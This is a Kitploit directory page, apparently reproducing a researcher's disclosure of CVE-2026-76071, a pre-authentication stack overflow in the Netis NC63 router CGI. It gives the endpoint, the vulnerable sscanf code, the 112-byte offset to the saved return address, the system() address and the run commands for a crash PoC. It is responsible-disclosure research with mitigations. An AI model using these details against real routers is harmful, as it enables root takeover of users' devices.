Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-76071 — بحث أصلي وإثبات مفهوم (PoC) غير مدمر لثغرة تجاوز سعة المخزن المؤقت للمكدس قبل المصادقة عبر مجموعة المسح غير المحدودة في دالة sscanf في معالج ipFilterList في جهاز Netis NC63 | Kitploit
أدوات/GitHubGitHub/ozcanpng/cve-2026-76071
أمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةتحليل الملفات الثنائيةتحليل البرامج الثابتة
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

بحث أصلي وإثبات مفهوم (PoC) غير مدمر لثغرة تجاوز سعة المخزن المؤقت للمكدس قبل المصادقة عبر مجموعة المسح غير المحدودة في دالة sscanf في معالج ipFilterList في جهاز Netis NC63

عرض المستودع
1منذ 4 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-76071: تجاوز سعة مخزن مؤقت مكدسي غير مُصادَق عليه (قبل المصادقة) عبر sscanf %[^,] في معالج ipFilterList في skk_set.cgi في Netis NC63

الباحث: أوزجان إرسان (@ozcanpng)

حالة الإفصاح

  • CVE: CVE-2026-76071
  • البائع: Netis Systems Co., Ltd.
  • المنتج: راوتر Netis NC63 AC1200 اللاسلكي ثنائي النطاق جيجابت MU-MIMO
  • البرنامج الثابت المُختبَر: NC63_V3.0.0.3327
  • المكوّن المتأثر: /bin/netis.cgi
  • نقطة النهاية: POST /cgi-bin/skk_set.cgi
  • المُشغِّل: ipFilterList=mod
  • المعامل المؤكَّد ديناميكيًا: destHost
  • نفس المحلّل يُوصَل إليه إحصائيًا عبر: srcHost
  • المصادقة: لا توجد مصادقة مُلاحَظة أو مطلوبة في المسار المُتحقَّق منه
  • البنية: MIPS32r2 قليل الأهمية (little-endian)، واجهة o32 ABI، uClibc
  • فئة الثغرة: تجاوز سعة مخزن مؤقت مكدسي مع التحكم في عنوان العودة المحفوظ
  • التحقق: CGI إنتاجي متطابق الملخص في بيئة تشغيل QEMU معزولة بوضع المستخدم
  • حالة سجل CVE عند الإعداد: معيَّن؛ تفاصيل سجل CNA قيد التعبئة

الملخص التنفيذي

يحلّل المحلّل العام MIB/القيمة في البرنامج الثابت V3.0.0.3327 لجهاز Netis NC63 حقل destHost من ipFilterList باستخدام مجموعتي مسح %[^,] دون أقصى عرض للحقل. كل تحويل يكتب في مخزن مؤقت مكدسي محلي بحجم 16 بايت. وبالتالي يمكن لعميل HTTP مباشر إرسال مكوّن طويل خالٍ من الفواصل والكتابة فوق بيانات التحكم المحفوظة للدالة.

بالنسبة للمكوّن الثاني destHost المُختبر ديناميكيًا، يقع ra المحفوظ على بُعد 112 بايت بالضبط من المخزن المؤقت المحلي. أكّد تتبع QEMU ضد CGI الإنتاجي المتطابق الملخص إدخالًا ثالثًا يختاره المهاجم عند 0x0040f7f4. وجّه اختبار منفصل للملاحظة فقط العودة إلى مسار system() PLT الأصلي عند 0x00423ab0 مع الحفاظ على بيانات الطلب التي يتحكم فيها المهاجم كوسيطة a0 الدقيقة في MIPS. سجّل /bin/sh محروس العلامة ولم ينفّذ أي أمر.

يحتوي إثبات المفهوم العام (PoC) عمدًا على نمط B طويل فقط. ولا يتضمن قيمة نقل التحكم الخاصة أو بناء حدود الأوامر.

سلامة القطعة الأثرية المتأثرة

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

Original production hashes

سطح الهجوم وحالة المصادقة

تبني الواجهة الأمامية للبائع srcHost وdestHost كثلاثة مكوّنات مفصولة بفواصل وترسلهما مع ipFilterList إلى /cgi-bin/skk_set.cgi:

root@kitploit:~
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

Vendor frontend request construction

لم يحتوي طلب CGI المُتحقَّق منه بالشكل HTTP على رأس Cookie أو Authorization. كان /tmp/boa_auth غائبًا، ومع ذلك استمر التنفيذ إلى مسار المحلّل ipFilterList=mod وdestHost. عيب تلف الذاكرة هو مجموعة المسح عديمة العرض في FUN_0040f7f4؛ وفشل تفويض CGI الأوسع هو الشرط الذي يعرّض هذا المعالج المميَّز قبل المصادقة.

Unauthenticated root CGI boundary

تتبّع المصدر إلى المصب

root@kitploit:~
Unauthenticated HTTP client
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<long comma-free component>
  v
FUN_004138a0
  v
FUN_004134c8 (ipFilterList trigger row)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | second destination: char[16]
  | no maximum scanset width
  v
saved fp overwrite -> saved ra overwrite -> controlled PC

تعيّن بيانات libapmib.so الوصفية الأصلية كلاً من srcHost وdestHost إلى النوع 0x0c، وهو ما يحدد حالة المحلّل هذه. أُجري التحقق الديناميكي باستخدام destHost؛ ويُدرج srcHost كتغطية إحصائية لنفس المحلّل وليس كادعاء ديناميكي منفصل.

Handler route and original MIB metadata

الكود القابل للاستغلال

كود شبه مستخرج من Ghidra بعد تسويته:

root@kitploit:~
case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

Unbounded scanset conversions

ليست sscanf() هي الثغرة في حد ذاتها. العيب هو أن %[^,] لا تحتوي على أقصى عرض للحقل، لذلك لا تعرف sscanf أن كل وجهة يبلغ حجمها 16 بايت فقط. كان من الممكن أن يستخدم تنسيق يراعي السعة عرضًا مثل %15[^,]، ويتحقق من نجاح ثلاث عمليات تحويل بالضبط، ثم يتحقق من قيم العناوين التي تم تحليلها. هذا مثال على التخفيف، وليس تصحيحًا من البائع.

تحليل تلف المكدس

تبدأ FUN_0040f7f4 عند 0x0040f7f4 وتنشئ إطارًا بحجم 0x1d0 بايت:

root@kitploit:~
0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

تقع وجهتا النوع 0x0c عند fp+0x14c وfp+0x15c. يقع ra المحفوظ عند fp+0x1cc، مما يجعل المسافة الدقيقة من المخزن الثاني:

root@kitploit:~
0x1cc - 0x15c = 0x70 = 112 bytes

Stack layout and saved-ra offset

التحقق الديناميكي

التحكم في عدّاد البرنامج

استخدم إثبات PC المعزول 112 بايت حشو متبوعة بالبايتات الثلاثة المنخفضة بنمط little-endian للقيمة 0x0040f7f4؛ وقد وفّر مُنهي sscanf البايت الرابع الصفري. لاحظَ QEMU إدخالين عاديين للمحلّل متبوعين بإدخال ثالث ناتج عن عنوان العودة المُستبدَل:

root@kitploit:~
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Controlled third parser entry

حد الأمر للملاحظة فقط

شكّل تحقق خاص منفصل ra=0x00423ab0 المحفوظ، وهو مسار system() PLT في الثنائي الأصلي. بقي جزء خاضع للتحكم من مفتاح الطلب في a0 في MIPS عند العودة. استبدلت بيئة التشغيل المؤقتة /bin/sh بمسجّل ثابت:

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.

يثبت هذا وجود بدائية تنفيذ أوامر عن بُعد (RCE) في مسار الكود الإنتاجي المعزول. لم تُختبر موثوقية الاستغلال الدقيقة على الراوتر الفعلي، ولا سلوك عشوائية النواة، ولا التعرض الافتراضي للشبكة الواسعة (WAN).

التكييف وقت التشغيل وحدود الأدلة

إن netis.cgi المُختبَر مطابق بايتًا ببايت للقطعة الإنتاجية. ونظرًا لأن حالة MIB المدعومة بالذاكرة الوميضية غير متوفرة في qemu-user، استخدم نظام الملفات الجذري المؤقت تكييفًا مخبريًا معلنًا من libapmib.so يخصّص حالة MIB مملوءة بالأصفار ويضبط محاذاة حقل معبأ واحد. لم يغيّر ذلك CGI، أو محلّل الطلبات، أو sscanf القابلة للاستغلال، أو إطار المكدس، أو إزاحة العودة المحفوظة، أو الخاتمة، أو مسار system(). جاءت البيانات الوصفية الإحصائية من libapmib.so الأصلية من البائع.

الملف التنفيذي الأصلي ذو قاعدة ثابتة، ويفتقر إلى حارس المكدس (stack canary) وRELRO، وله مكدس قابل للتنفيذ وقسم RWX. تدعم هذه الخصائص تحليل قابلية الاستغلال ولكنها ليست بديلاً عن اختبارات PC الديناميكية وحدود الحماية.

Binary hardening state

إثبات المفهوم العام الآمن

توليد تجريبي لجسم الطلب المشفر بعنوان URL:

root@kitploit:~
python3 poc/poc.py

إرسال صريح إلى هدف مؤقت مصرح به:

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

يستخدم السكربت العام مكوّنًا من 115 بايت من الحرف B لإظهار حالة التجاوز. قد يؤدي إرساله إلى تعطّل عملية CGI. لا يحتوي على سلسلة أوامر، أو شيل كود، أو عنوان عودة إلى system، أو شيل عكسي، أو آلية استمرار.

الأثر

يمكن أن يؤدي الاستغلال الناجح إلى تنفيذ أوامر يختارها المهاجم في سياق إدارة الراوتر. يعمل تكوين Boa الأصلي على تشغيل CGI بصلاحيات الجذر (root). تشمل العواقب المحتملة كشف إعدادات الراوتر وأسراره، والتلاعب بـ DNS/جدار الحماية/التوجيه، وإعادة توجيه حركة المرور، وتعطيل الخدمات، والاختراق الكامل للجهاز.

المعالجة

  1. استخدم %15[^,] لكل وجهة بحجم 16 بايت واطلب نجاح ثلاث عمليات تحويل.
  2. ارفض قيم المضيف المتسلسلة كبيرة الحجم قبل التحليل.
  3. تحقق من قيمتي IP من جهة الخادم قبل تخزينهما.
  4. فرض تفويض المسؤول قبل توجيه CGI المميَّز.
  5. دقّق كل حالة محلّل بيانات وصفية بحثًا عن %s و%[...] عديمة العرض.
  6. أعد البناء مع حُرّاس المكدس (stack canaries) وPIE وNX وRELRO.

فهرس الأدلة

انظر evidence/README.md. توجد التعليمات البرمجية شبه الموحّدة وأدلة التعليمات تحت attachments/decompiled-functions/.

الجدول الزمني للإفصاح

  • 2026-08-16: اكتمل الاكتشاف والتحقق المعزول من الثنائي الإنتاجي.
  • أغسطس 2026: أُبلِغت VulnCheck.
  • 2026-08-20: خصّصت VulnCheck CVE-2026-76071 وأذنت بالإفصاح العام.
  • 2026-08-20: نُشرت حزمة الإفصاح العام.

المراجع

  • CVE-2026-76071
  • VulnCheck
  • صفحة دعم Netis NC63
  • CVE-2026-73673

لم يتم وميض أي راوتر فعلي. لم يُستخدم أي أمر حقيقي، أو شيل كود، أو شيل عكسي، أو آلية استمرار، أو اتصال شبكة خارجي، أو عملية تدميرية.

تنزيل الأداة